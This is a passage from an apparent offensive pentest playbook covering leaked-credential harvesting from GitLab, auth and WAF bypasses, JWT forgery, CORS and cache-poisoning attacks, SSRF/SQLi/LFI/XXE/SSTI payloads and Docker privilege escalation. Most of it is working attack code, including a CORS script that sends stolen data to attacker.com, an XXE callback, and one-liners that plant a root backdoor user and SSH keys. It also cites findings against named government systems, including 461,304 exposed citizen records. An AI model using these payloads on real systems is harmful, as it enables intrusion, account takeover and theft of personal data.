        sa = json.load(f)
    valid, token = test_sa_key(sa)
    status = "✅ VALID" if valid else "❌ REVOKED"
    print(f"{status} | {sa['project_id']:30s} | {sa['client_email'][:40]}")
    if valid:
        # With the token, test access to Storage, Firestore, IAM
        check_sa_access(token, sa['project_id'])

## 14.3 GitLab — Public Repositories

# Search public projects
r = requests.get("https://gitlab.com/api/v4/projects?search=env+DB_PASSWORD&per_page=20")
for proj in r.json():
    # Try to read sensitive files
    for file in ['.env', 'config/database.yml', 'credentials.json']:
        r2 = requests.get(
            f"https://gitlab.com/api/v4/projects/{proj['id']}/repository/files/{file}/raw?ref=main"
        )
        if r2.status_code == 200 and 'password' in r2.text.lower():
            print(f"🔥 {proj['path_with_namespace']}/{file}")

# If self-hosted GitLab is found:
# https://gitlab.empresa.com.br/api/v4/projects?visibility=public

Real-world case: Government agency — Self-hosted GitLab with 3 public repositories, including the full Internal Helpdesk source code with:

  • servidores_sigrh.json: 461,304 records with CPF (SSN), registration, unit
  • .env.example: MongoDB host, LDAP, email server
  • deploy.sh: Internal IP 10.11.82.75, blue/green deploy strategy
  • docker-compose.prod.yml: production configuration
  • .gitlab-ci.yml: CI/CD tokens, runners
  • /register as an existing route in the code

## 14.4 Docker Hub, NPM, Search Engines

PlatformEffectivenessNote
GitHub (with token)⭐⭐⭐⭐⭐Best free leak source
GitLab (self-hosted)⭐⭐⭐⭐If the target has a public GitLab
Docker HubLow volume, rarely useful
NPM RegistryOnly legitimate packages
Bing/YandexBlock scraping
DuckDuckGoBlocks heavy scraping

# 15. AUTHENTICATION & BYPASS

## 15.1 Token Bypass (undefined === undefined)

If the server validation compares values that may be undefined:

// VULNERABLE CODE
if (req.headers["x-migration-token"] === process.env.MIGRATION_TOKEN) {
  // access granted
}

// If MIGRATION_TOKEN is not defined in .env:
// process.env.MIGRATION_TOKEN = undefined
// req.headers["x-migration-token"] = undefined (header not sent)
// undefined === undefined → TRUE → bypass!

ALWAYS test endpoints without sending the authentication header. Often the logic is:

  • Header present + wrong value → 401
  • Header absent → 200 (bypass due to undefined === undefined)

## 15.2 Firebase Password Auth — Test SignUp

# Test whether signUp is enabled
r = requests.post(
    f"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key={WEB_API_KEY}",
    json={"email": "test@test.com", "password": "Test123!", "returnSecureToken": True}
)
# If 200 → Registration OPEN (create account without invite)
# If 400 "WEAK_PASSWORD" → registration open, weak password
# If 400 "OPERATION_NOT_ALLOWED" → disabled

## 15.3 API Gateway / WAF Bypass

# Headers that bypass protections:
bypass_headers = {
    "X-Forwarded-For": "127.0.0.1",
    "X-Real-IP": "127.0.0.1",
    "X-Originating-IP": "127.0.0.1",
    "X-Remote-IP": "127.0.0.1",
    "X-Client-IP": "127.0.0.1",
    "X-Host": "127.0.0.1",
    "X-Forwarded-Host": "127.0.0.1",
    "X-Original-URL": "/admin",
    "X-Rewrite-URL": "/admin",
    "X-HTTP-Method-Override": "GET",
}

# Test direct IP access (CDN/WAF bypass)
# Many domains behind Cloudflare have the real IP accessible
# via DNS history (SecurityTrails, DNSDB)

## 15.4 Timing-Based User Enumeration

import time

# Response time difference reveals if user exists
def timing_test(url, username, password="wrongpass"):
    start = time.time()
    r = requests.post(url, json={"email": username, "password": password})
    elapsed = (time.time() - start) * 1000
    return elapsed

# If admin@target.com → 896ms, fake@target.com → 572ms
# → Difference > 200ms confirms user enumeration

Real-world case: Corporate intranet — 200-300ms timing oracle between valid and invalid user, allowing complete enumeration of all system users.

## 15.5 SAML / SimpleSAMLphp — Reconnaissance and Exploitation

SAML (Security Assertion Markup Language) is used in corporate/government SSOs. SimpleSAMLphp is the most common implementation in government.

### IdP Discovery

# Common SAML IdP URLs
for path in /saml2/idp/metadata.php /simplesaml/saml2/idp/metadata.php \
            /module.php/saml/idp/metadata.php /Shibboleth.sso/Metadata \
            /simplesaml/module.php/saml/sp/metadata.php; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path$code"
done

# SimpleSAMLphp admin (if exposed)
for path in /simplesaml/admin/ /simplesaml/module.php/admin/ \
            /module.php/admin/; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET$path")
  echo "$path$code"
done

# If SimpleSAMLphp is not at /simplesaml/ (common behind nginx),
# check for characteristic assets:
curl -sk "https://TARGET/assets/base/css/stylesheet.css" | head -5
# If it's SimpleSAMLphp CSS, the base path has been customized

### Analyze SAML Metadata

The IdP’s XML metadata contains valuable information:

import requests, xml.etree.ElementTree as ET

r = requests.get("https://TARGET/saml2/idp/metadata.php")
root = ET.fromstring(r.content)
ns = {
    'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
    'ds': 'http://www.w3.org/2000/09/xmldsig#'
}

# Entity ID (unique IdP identifier)
entity_id = root.get('entityID')
print(f"Entity ID: {entity_id}")

# X.509 certificates (signing and encryption)
for key in root.findall('.//md:KeyDescriptor', ns):
    use = key.get('use', 'unspecified')
    cert = key.find('.//ds:X509Certificate', ns)
    if cert is not None:
        print(f"Cert ({use}): {cert.text[:40]}...")

# SingleSignOnService URL
for sso in root.findall('.//md:SingleSignOnService', ns):
    print(f"SSO URL ({sso.get('Binding')}): {sso.get('Location')}")

# NameIDFormat
for fmt in root.findall('.//md:NameIDFormat', ns):
    print(f"NameIDFormat: {fmt.text}")

# Certificate Subject Alternative Names (SANs)
# Extract using OpenSSL

What to extract from metadata:

FieldReal ExampleUtility
Entity IDurn:x-simplesamlphp:autenticacion-idpUnique IdP identifier
SSO URLhttps://sso.gov.ar/module.php/saml/idp/singleSignOnServiceAuthentication endpoint
CertificateSectigo OV RSA 2048Check validity, potential XSW
NameIDFormattransientIf persistent → user correlation possible
SP Entity ID (via AuthnRequest)urn:www.orgao.gov.arService Provider identifier

### Decode SAMLRequest from URL

When an SP redirects to the IdP, the URL contains a SAMLRequest parameter (base64 + deflate):

import base64, zlib, urllib.parse

# Extract SAMLRequest from redirect URL
r = requests.get("https://SP.TARGET.com/wp-login.php",
    allow_redirects=False)
loc = r.headers.get('Location', '')
samreq = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get('SAMLRequest', [None])[0]

if samreq:
    decoded = base64.b64decode(urllib.parse.unquote(samreq))
    try:
        # SimpleSAMLphp uses deflate compression
        inflated = zlib.decompress(decoded, -zlib.MAX_WBITS)
        print(inflated.decode('utf-8'))
    except:
        print(decoded.decode('utf-8', errors='replace'))

### User Enumeration via SSO Login

Form-based SSOs often differentiate existing from non-existing users:

# 1. Identify the SSO login endpoint
# Usually: /module.php/core/loginuserpass or /simplesaml/module.php/core/loginuserpass

# 2. Test with valid vs invalid user
# Different response (password error vs "user not found") = user enum

# 3. SimpleSAMLphp admin
# Access /simplesaml/module.php/core/loginuserpass.php?as_admin=1
# May give access to the SimpleSAMLphp admin panel

### XMLRPC Blocked by SSO — Alternative Reconnaissance

When a WordPress has SSO, XMLRPC may respond with HTML (SSO login page) instead of XML fault. It’s still possible:

# Methods WITHOUT authentication still work:
# system.listMethods → lists all 79+ methods
# system.getCapabilities → XMLRPC version
# demo.sayHello → connectivity test
# pingback.ping → potential SSRF (even without auth!)

# Methods that require auth will return SSO HTML:
# wp.getUsers, wp.getPosts, wp.uploadFile → require credentials

### Common SAML Attacks

AttackDescriptionTest
XML Signature Wrapping (XSW)Modify Assertion while keeping Signature valid (relocate signed element)Send modified assertion with original signature
Signature StrippingCompletely remove Signature elementDoes server accept unsigned assertion?
Comment InjectionInject <!-- comment --> in NameIDadmin@target<!--evil-->@attacker.com → parser sees admin@target.com
Replay AttackReuse the same assertionSame token accepted twice?
Key ConfusionSend assertion signed by attacker IdPDoes SP accept assertion from unauthorized IdP?
Audience Restriction BypassModify AudienceDoes SP accept assertion for different Audience?

Real-world case: autenticacion.mpf.gob.ar — SimpleSAMLphp IdP with:

  • Metadata exposed at /saml2/idp/metadata.php
  • Entity ID: urn:x-simplesamlphp:autenticacion-idp
  • Valid Sectigo certificate (Jan 2026-Feb 2027)
  • SP: urn:www.mpf.gob.ar with ACS at https://www.mpf.gob.ar/wp-login.php
  • NameIDFormat: transient (does not allow correlation)
  • 79 XMLRPC methods in WordPress protected by SSO
  • Additional subdomains in certificate SAN: fiscales.gob.ar, fiscales.gov.ar, mpf.gov.ar

# 16. JWT — COMPLETE ATTACKS

## 16.1 Decode JWT (without signature verification)

# jwt.io or Python:
import base64, json

token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.xxx"

def decode_jwt(token):
    parts = token.split('.')
    # Header
    h = json.loads(base64.urlsafe_b64decode(parts[0] + '===').decode())
    # Payload
    p = json.loads(base64.urlsafe_b64decode(parts[1] + '===').decode())
    return h, p

header, payload = decode_jwt(token)
print(f"Alg: {header.get('alg')}")
print(f"Payload: {payload}")

## 16.2 Attacks by Algorithm

AttackAlgorithmHow
alg=noneAnyRemove signature, header {"alg":"none"}
RS256→HS256 confusionRS256Uses public key as HMAC secret
HS256 weak secretHS256Brute force the secret (wordlist)
kid injectionAnykid=../../../etc/passwd → path traversal
jku/jwk injectionAnyPoint jku/jwk to attacker’s server
exp not validatedAnyExpired token still accepted
aud not validatedAnyToken from another service accepted

## 16.3 JWT Forgery with RSA Private Key

from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding as pad
from cryptography.hazmat.primitives.serialization import load_pem_private_key
from cryptography.hazmat.backends import default_backend
import base64, json

with open('private.key') as f:
    key = load_pem_private_key(f.read().encode(), password=None, backend=default_backend())

def forge_jwt(payload, alg="RS256"):
    header = {"alg": alg, "typ": "JWT"}
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
    p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    sig = key.sign(f'{h}.{p}'.encode(), pad.PKCS1v15(), hashes.SHA256())
    s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
    return f'{h}.{p}.{s}'

# Example: forge an admin token
admin_token = forge_jwt({
    "sub": "1",
    "email": "admin@target.com",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
})

⚠️ WARNING — Limitations:

  • Laravel Passport: validates jti against oauth_access_tokens table. Token forged with RSA key but not registered in DB → access denied.
  • Auth0: validates signature against JWKS endpoint. Local private key doesn’t work if the server validates with JWKS.
  • Firebase Auth: tokens are validated against Google’s JWKS. Local key is useless.

## 16.4 Brute Force HS256 Secret

# Using hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

# Using john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# Simple Python script
import hmac, hashlib, base64, json

def verify_jwt(token, secret):
    parts = token.split('.')
    header_b64, payload_b64, sig_b64 = parts
    sig_check = base64.urlsafe_b64encode(
        hmac.new(secret.encode(), f'{header_b64}.{payload_b64}'.encode(), hashlib.sha256).digest()
    ).rstrip(b'=').decode()
    return sig_check == sig_b64

# Test common secrets
for secret in ['secret', 'jwt_secret', 'password', 'changeme', 'supersecret']:
    if verify_jwt(token, secret):
        print(f"🔥 Secret found: {secret}")

Real-world case: Hardcoded JWTs in the delivery platform’s JS bundle — 2 HS256 tokens with appName and tokenVersion, used as “app tokens” to authenticate BFF API requests. The server blindly trusted these tokens.

## 16.5 JWT in JavaScript Bundles

JWTs found in client-side code are often used as:

  • App tokens: identify which application is calling the API
  • Anon tokens: “anonymous user” tokens
  • Dev tokens: forgotten by developers

Always extract and analyze JWTs from JS bundles. Even if the secret cannot be cracked, the payload reveals the structure and can be reused.


# 17. CORS MISCONFIGURATION

## 17.1 How to Test

# 1. Origin reflected?
curl -sI -H "Origin: https://evil.com" "https://target.com/api/data" | grep -i "access-control"

# 2. Null origin accepted?
curl -sI -H "Origin: null" "https://target.com/api/data" | grep -i "access-control"

# 3. Credentials allowed?
# If Access-Control-Allow-Credentials: true + reflected Origin = EXPLOITABLE

# 4. Preflight (OPTIONS) accepts sensitive methods?
curl -sI -X OPTIONS -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: DELETE" \
  "https://target.com/api/data"

## 17.2 CORS Severity Levels

ConfigurationSeverityExplanation
ACAO: * without credentialsInfoPublic by design
ACAO: https://evil.com (reflected)LowWithout credentials, public reading
ACAO: nullMediumSandboxed iframe can exploit
ACAO: reflected + ACAC: trueHigh/CriticalAuthenticated cross-origin
Preflight allows DELETE/PUT with credentialsCriticalCross-origin writing

## 17.3 CORS + Credentials Proof of Concept

<!-- Save as cors_poc.html and open in the browser -->
<script>
// If the victim is logged in, the cookies will be sent
fetch('https://target.com/wp-json/wp/v2/pages', {
  credentials: 'include'
}).then(r => r.json()).then(data => {
  // Authenticated data extracted cross-origin
  console.log('Stolen data:', data);
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>

Real-world case: Government transparency portal — reflected Origin + Access-Control-Allow-Credentials: true + all HTTP methods (GET, POST, PUT, PATCH, DELETE). Any malicious site could perform authenticated cross-origin POST as admin.


# 18. WEB CACHE POISONING & WEB CACHE DECEPTION

## 18.1 Web Cache Poisoning (WCP)

Objective: Poison the CDN cache to serve malicious content to ALL visitors.

### Step 1: Detect the Cache

# Headers that indicate cache
curl -sI "https://TARGET/" | grep -iE "(age|x-cache|cf-cache-status|via|server)"

# Confirm that Age increments
for i in 1 2 3; do
  curl -sI "https://TARGET/" | grep -i "^age:"
done
HeaderCDN/Proxy
X-Cache: Hit from cloudfrontAWS CloudFront
Cf-Cache-Status: HITCloudflare
Age: NCache with active TTL
Via: 1.1 varnishVarnish

### Step 2: Find Unkeyed Inputs (Reflected Headers)

Headers that are NOT part of the cache key but are reflected in the response:

X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-For,
X-Host, X-Original-URL, X-Rewrite-URL, Forwarded,
X-Forwarded-Port, X-Amz-Website-Redirect-Location,
X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override
# Test each header with a cache buster
for header in "X-Forwarded-Host: evil.com" \
              "X-Forwarded-Scheme: http" \
              "X-Host: evil.com" \
              "X-Original-URL: /evil"; do
  echo "=== $header ==="
  curl -sk "https://TARGET/?cb=$RANDOM" -H "$header" 2>&1 | grep -c "evil"
done

### Step 3: Prove that the Payload Stuck in Cache

# Phase 1: Poison
curl -sk "https://TARGET/?cb=POISON123" \
  -H "X-Forwarded-Host: evil.com" > /dev/null

# Phase 2: Verify cache HIT (WITHOUT the malicious header!)
curl -skI "https://TARGET/?cb=POISON123" | grep -i "x-cache: HIT"

# Phase 3: Read cached response (must contain "evil.com")
curl -sk "https://TARGET/?cb=POISON123" | grep "evil.com"
# If it appears → Cache Poisoning CONFIRMED

### Impact by Reflection Location

Where the Payload AppearsImpactExample
<script src=...>Stored XSSExecutes JS on every visitor
<link rel=canonical>SEO PoisoningGoogle indexes attacker URL
<meta property="og:url">Phishing previewsWhatsApp/Facebook show fake link
<meta http-equiv="refresh">Forced redirectVictim redirected without interaction
<form action=...>Credential theftForms send to attacker
@import url(...)CSS data exfiltrationSteals tokens via CSS injection

## 18.2 Web Cache Deception (WCD)

Objective: Force the cache to store the victim’s SENSITIVE responses and then read them.

### Conditions to be exploitable:

  1. Cache-Control does NOT contain private
  2. Response contains sensitive data (JWT, tokens, PII, CSRF nonce)
  3. X-Cache: MISSX-Cache: HIT confirmed
  4. No Vary: Cookie header

### Payload — Force Cache of Sensitive Page

# Extensions that CDNs typically cache: .css .js .png .jpg .ico .pdf .json .xml
# Apply these extensions to sensitive pages:

# Victim visits (with cookies):
curl -sk "https://target.com/my-profile.css" \
  -H "Cookie: session=VICTIM_SESSION"

# Attacker reads the cache:
curl -sk "https://target.com/my-profile.css" | grep -i "jwt\|token\|secret"

### Same technique with Cache Buster to isolate a specific victim:

# Attacker prepares URL
CACHE_BUSTER="victim_$(date +%s)"

# Victim visits (with authenticated cookies):
# https://target.com/my-profile?cb=$CACHE_BUSTER

# Attacker reads:
curl -sk "https://target.com/my-profile?cb=$CACHE_BUSTER"

## 18.3 SameSite Bypass + WCD

Cookies SameSite=Lax are not sent in cross-site requests via <img>, <script>, fetch(). BUT they are sent in top-level navigation (URL bar change).

<!-- Payload: meta refresh = top-level navigation -->
<meta http-equiv="refresh" content="0; url=https://target.com/my-profile?cb=victim123">
Attack flow:
1. Attacker hosts page with <meta refresh> → URL with cache buster
2. Victim visits attacker's page
3. Browser performs top-level nav → SameSite=Lax cookies SENT
4. Victim's authenticated response (with JWT) is cached
5. Attacker visits same URL → X-Cache: HIT → receives victim's response
6. Extracts JWT → ATO (Account Takeover)

## 18.4 Trap: Reflection ≠ Cache Poisoning

Common mistakeWhy it’s wrong
“The header reflects in the response”It’s reflection. Without cache proof, it’s info-level
“X-Cache: HIT appeared”Only the base page is cached, not your payload
“I sent a payload and saw it in the response”You saw your OWN response, not the cache’s

Rule: Without confirmed Age/X-Cache:HIT on the response WITH payload → NOT cache poisoning.


# 19. SSRF, SQLI, LFI & OTHER CLASSES

## 19.1 SSRF — Server-Side Request Forgery

### Bypass IP Blocklist (11 techniques)

# 1. URL encoding
http://2130706433/          # decimal of 127.0.0.1
http://0x7f000001/          # hex
http://0177.0.0.1/          # octal

# 2. DNS rebinding
http://1.0.0.127.nip.io/    # resolves to 127.0.0.1

# 3. Redirect
http://attacker.com/redirect?url=http://169.254.169.254/

# 4. IPv6
http://[::1]:80/
http://[::ffff:127.0.0.1]/

# 5. URL parser differentials
http://expected.com@127.0.0.1/
http://expected.com#@127.0.0.1/

# 6. Shortened URLs
http://bit.ly/xxxxx   redirect to metadata endpoint

# 7. DNS wildcard
http://127.0.0.1.mydomain.com/

# 8. Alternative representations
http://127.1/               # = 127.0.0.1
http://0/                   # = 0.0.0.0

# 9. IDN homograph
http://127.0.0.1attacker.com/

# 10. Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/       # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure

# 11. File:// protocol
file:///etc/passwd
file:///proc/self/environ

### Test with OOB (Out-of-Band) Callback

# If the SSRF is blind (no visible response), use a callback to confirm:
# 1. Generate unique URL on Burp Collaborator or webhook.site
# 2. Inject into suspicious parameters (url=, path=, redirect=, file=)
# 3. Check if the callback arrives

## 19.2 SQLi — SQL Injection

### Quick Test (Time-Based Blind)

import requests, time

url = "http://target.com/login"
payloads = {
    "normal":    {"login": "admin", "senha": "x"},
    "sleep":     {"login": "admin", "senha": "x' OR SLEEP(5)--"},
    "boolean":   {"login": "admin' OR '1'='1", "senha": "x"},
    "or_1":      {"login": "admin'+OR+1=1--", "senha": "x"},
}

for label, data in payloads.items():
    start = time.time()
    r = requests.post(url, data=data, timeout=15)
    elapsed = (time.time() - start) * 1000
    print(f"{label}: {elapsed:.0f}ms | Status: {r.status_code} | Size: {len(r.text)}")

Typical result: normal=44ms, sleep=8000ms → SQLi confirmed.

Real-world case: 6 confirmed SQLi in the state government ecosystem:

  • ESIC: Blind time-based on the password field (185ms normal → 10s+ with SLEEP)
  • VOX: both login and password fields vulnerable
  • Project Builder: Classic ASP with vulnerable login field
  • ITERJ: login and password vulnerable
  • CNPJ API: search parameter vulnerable
  • SIHAB-RJ: login and password vulnerable

All blind — extraction requires SQLmap or a dedicated script.

## 19.3 LFI / Path Traversal

# Classic payloads
paths = [
    "../../../etc/passwd",
    "....//....//....//etc/passwd",
    "..%2f..%2f..%2fetc%2fpasswd",
    "/%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "php://filter/convert.base64-encode/resource=index.php",
    "php://filter/read=convert.base64-encode/resource=../../.env",
    "file:///etc/passwd",
    "....//....//....//proc/self/environ",
]

for p in paths:
    r = requests.get(f"http://target.com/download?file={p}", timeout=10)
    if "root:" in r.text or "DB_PASSWORD" in r.text or "APP_KEY" in r.text:
        print(f"🔥 LFI: {p}")

## 19.4 XXE — XML External Entity

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- OOB (blind XXE) -->
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>

## 19.5 SSTI — Server-Side Template Injection

# Probes for detection (mathematical evaluation)
probes = [
    "{{7*7}}",          # Jinja2, Twig
    "${7*7}",           # Freemarker, Velocity
    "<%= 7*7 %>",       # ERB (Ruby)
    "#{7*7}",           # Ruby string interpolation
    "{{7*'7'}}",        # Twig (49)
    "${{7*7}}",         # Groovy
]

for probe in probes:
    r = requests.get(f"http://target.com/page?name={probe}")
    if "49" in r.text:
        print(f"🔥 SSTI confirmed: {probe}")

# 20. EXPOSED INFRASTRUCTURE — MYSQL, REDIS, FTP, DOCKER

## 20.1 Exposed MySQL (Port 3306)

# Test connectivity
timeout 3 bash -c "echo > /dev/tcp/$HOST/3306" && echo "OPEN"

# Try connection
mysql -h $HOST -u root --password=root
mysql -h $HOST -u admin --password=admin

# Read banner (without authenticating)
# EOL versions (5.7, 5.6) = multiple unpatched RCE CVEs

Real-world case (CRITICAL): Fitness tech company — MySQL 5.7.42 exposed directly to the internet (port 3306), no firewall. Ubuntu 18.04 EOL. Multiple unpatched RCE and privilege escalation CVEs.

## 20.2 Exposed Redis (Port 6379)

# Test without password
redis-cli -h $HOST PING
# If "PONG" → no password!

# Dump all keys
redis-cli -h $HOST KEYS '*'

# Read values
redis-cli -h $HOST GET "session:abc123"

## 20.3 Exposed MongoDB (Port 27017)

mongosh "mongodb://$HOST:27017" --eval "db.adminCommand('listDatabases')"

## 20.4 Exposed PostgreSQL (Port 5432)

psql -h $HOST -U postgres -d postgres -c "SELECT version()"

## 20.5 FTP — Anonymous and Brute Force

# Test anonymous
ftp -n $HOST <<EOF
user anonymous anonymous
ls
quit
EOF

# Common users:
# admin, root, backup, ftp, upload, download, www-data, mysql, postgres

# Pure-FTPd, vsFTPd, ProFTPD versions — check CVEs

Real-world case: Electronic monitoring company — FTP server with 14 valid users identified by timing oracle. Rate-limit after multiple attempts. Anonymous disabled.

## 20.6 Exposed Coolify (Port 3000)

Coolify is a self-hosted PaaS. If exposed, gives full control over deploy and infrastructure.

# Check if it responds
curl -s "http://$HOST:3000/api/health"
curl -s "http://$HOST:3000/register"      # Open registration?
curl -s "http://$HOST:3000/api/settings"

Real-world case: Fitness tech company — Coolify exposed on port 3000 without authentication, API endpoints responding. Compromise would give full control over deploys, databases, and environment variables.

## 20.7 Elasticsearch (Port 9200)

# Cluster info (no auth)
curl -s "http://$HOST:9200/"

# List indices
curl -s "http://$HOST:9200/_cat/indices"

# Index dump
curl -s "http://$HOST:9200/INDEX_NAME/_search?size=100"

## 20.8 Port Scanning on VPS

On low-cost VPS, it’s common to find ALL these services exposed simultaneously:

22    → SSH (key-based? password?)
80    → nginx SPA (React/Vue)
443   → HTTPS (same content)
3000  → Coolify, Grafana
3306  → MySQL exposed (no firewall)
5000  → Flask/Werkzeug
5432  → PostgreSQL
6379  → Redis (no password?)
8080  → Tomcat, Jenkins, alternative API
8443  → Apache direct (bypass nginx)
9000  → MinIO, S3-compatible
9090  → Prometheus metrics
9200  → Elasticsearch
27017 → MongoDB

# 21. DOCKER PRIVILEGE ESCALATION

## 21.1 Docker Group = Root-Equivalent

Users in the docker group can run containers without sudo. This is root-equivalent on the host:

# Check if you are in the docker group
groups | grep docker
getent group docker

# Classic one-liner — add NOPASSWD sudo
docker run --rm -v /etc:/host_etc -it ubuntu \
  bash -c "echo 'username ALL=(ALL) NOPASSWD:ALL' >> /host_etc/sudoers"

# Add user with UID 0
docker run --rm -v /etc:/host_etc -it alpine sh -c \
  "echo 'backdoor::0:0:root:/root:/bin/bash' >> /host_etc/passwd"

# Direct chroot to host
docker run --rm -v /:/host -it alpine chroot /host /bin/bash

# Read shadow (offline crack)
docker run --rm -v /etc:/host_etc -it alpine cat /host_etc/shadow

# Inject SSH key
docker run --rm -v /root:/host_root -it alpine sh -c \
  "mkdir -p /host_root/.ssh && echo 'ssh-rsa AAAA...' > /host_root/.ssh/authorized_keys"

## 21.2 Via Docker Socket

If /var/run/docker.sock is accessible:

# Check
ls -la /var/run/docker.sock

# Create privileged container with socket mounted
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
  -v /:/host -it alpine sh -c "
    apk add docker-cli && \
    docker run --rm -v /:/host alpine chroot /host /bin/bash
  "

## 21.3 Prior Privesc Detection

# Check suspicious sudoers entries
grep "NOPASSWD" /etc/sudoers /etc/sudoers.d/*

# Check users with UID 0
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Check recently added SSH keys
stat /root/.ssh/authorized_keys

# 22. PYTHON SNIPPETS & AUTOMATION

## 22.1 Subdomain + Port + Path Loop

import requests

domains = ["target.com", "www.target.com", "api.target.com", "admin.target.com"]
ports = [80, 443, 8080, 8443]
paths = ["/.env", "/.git/config", "/storage/oauth-private.key",
         "/actuator/env", "/wp-json/wp/v2/users"]

for domain in domains:
    for port in ports:
        scheme = "https" if port in [443, 8443] else "http"
        for path in paths:
            try:
                url = f"{scheme}://{domain}:{port}{path}"
                r = requests.get(url, timeout=5, verify=False, allow_redirects=False)
                if r.status_code == 200 and len(r.text) > 50:
                    print(f"🔥 {url} ({r.status_code}) -> {r.text[:100]}")
                elif r.status_code in [301, 302]:
                    print(f"⚠️  {url} -> redirect to {r.headers.get('Location', '?')}")
                elif r.status_code in [401, 403]:
                    print(f"🔒 {url} -> {r.status_code}")
            except Exception as e:
                pass

## 22.2 Bulk CORS Test

origins = ["https://evil.com", "null", "https://target.com.evil.com",
           "https://evil.target.com", "http://localhost"]

for url in urls:
    for origin in origins:
        r = requests.get(url, headers={"Origin": origin}, timeout=5)
        acao = r.headers.get("Access-Control-Allow-Origin", "")
        acac = r.headers.get("Access-Control-Allow-Credentials", "")
        if acao == origin and acac == "true":
            print(f"🔥 CRITICAL CORS: {url} | Origin: {origin}")
        elif acao == origin:
            print(f"⚠️  CORS reflection: {url} | Origin: {origin}")

## 22.3 Firebase Project Discovery

# Extract Firebase configs from JS bundles and test
import re, requests

# Search for Firebase configs
pattern = r'(?:firebase\.initializeApp|firebaseConfig)\s*\(\s*(\{[^}]+\})'
# or apiKey: "AIza..."

# For each config found, test:
def test_firebase(api_key, project_id):
    # Test signUp
    r = requests.post(
        f"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key={api_key}",
        json={"email":"test@test.com","password":"Test123!","returnSecureToken":True}
    )
    if r.status_code == 200:
        print(f"🔥 SignUp OPEN in {project_id}")

    # Test Firestore
    r = requests.get(
        f"https://firestore.googleapis.com/v1/projects/{project_id}/databases/(default)/documents?key={api_key}"
    )
    if r.status_code == 200:
        print(f"🔥 Firestore PUBLIC in {project_id}")

## 22.4 Auto-Extract Secrets from Multiple Sources

import re, requests, json, glob, os

SECRET_PATTERNS = {
    # AWS
    "AWS Access Key": r'(?:AKIA|ASIA)[A-Z0-9]{16}',
    "AWS Secret Key": r'(?:"|^)(?:secretAccessKey|aws_secret_access_key)[=:]\s*["\']?([A-Za-z0-9/+=]{40})',
    # GCP
    "GCP SA Key": r'("type":\s*"service_account".*?"private_key")',
    "GCP API Key": r'AIza[0-9A-Za-z\-_]{35}',
    # Firebase
    "Firebase Config": r'apiKey:\s*["\']AIza[^"\']{30,}',
    # Supabase
    "Supabase URL": r'(?:supabaseUrl|SUPABASE_URL):\s*["\'](https://[^"\']+\.supabase\.co)',
    "Supabase Anon Key": r'(?:supabaseKey|SUPABASE_ANON_KEY):\s*["\'](eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)',
    # JWT
    "JWT Token": r'eyJ[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{10,}',
    # API keys
    "SendGrid": r'SG\.[A-Za-z0-9_\-]{20,}\.[A-Za-z0-9_\-]{20,}',
    "Stripe Live": r'(?:sk_live|pk_live)_[A-Za-z0-9]{24,}',
    "OpenAI": r'sk-[A-Za-z0-9]{32,}',
    "GitHub Token": r'(?:ghp|gho|ghu|ghs|ghr)_[A-Za-z0-9_]{36,}',
    # Databases
    "MongoDB URI": r'mongodb(?:\+srv)?://[^@\s]+@[^\s]+',
    "PostgreSQL URI": r'postgres(?:ql)?://[^@\s]+@[^\s]+',
    "MySQL URI": r'mysql://[^@\s]+@[^\s]+',
    "Redis URI": r'redis://[^@\s]*@[^\s]+',
}

def scan_for_secrets(text, source_name):
    """Scans text for secrets using regex patterns."""
    found = []
    for name, pattern in SECRET_PATTERNS.items():
        matches = re.findall(pattern, text, re.IGNORECASE)
        for m in matches:
            if isinstance(m, tuple):
                m = m[0]
            if len(m) > 6:
                found.append((name, m[:80]))
    if found:
        print(f"\n📄 {source_name}:")
        for name, secret in found:
            print(f"  🔑 {name}: {secret}")
    return found

# 23. EMAIL SECURITY — DMARC, SPF, DKIM

## 23.1 Quick Check

# SPF
dig +short TXT $target | grep "v=spf1"

# DMARC
dig +short TXT _dmarc.$target

# DKIM (common selector: google)
dig +short TXT google._domainkey.$target

# MX
dig +short MX $target

## 23.2 Interpreting Results

ConfigMeaningRisk
v=spf1 ~all (softfail)SPF “suggests” blocking but doesn’t enforceSpoofed emails may pass
v=spf1 ?all (neutral)SPF does nothingTotally permissive
v=spf1 include:amazonses.com ~allSES can send as the domainAny AWS SES account can spoof
v=DMARC1; p=noneDMARC disabledZero spoofing protection
v=DMARC1; p=quarantineFailed emails go to spamPartial protection
v=DMARC1; p=rejectFailed emails are rejectedFull protection
DKIM missingNo cryptographic signatureEmail can be forged

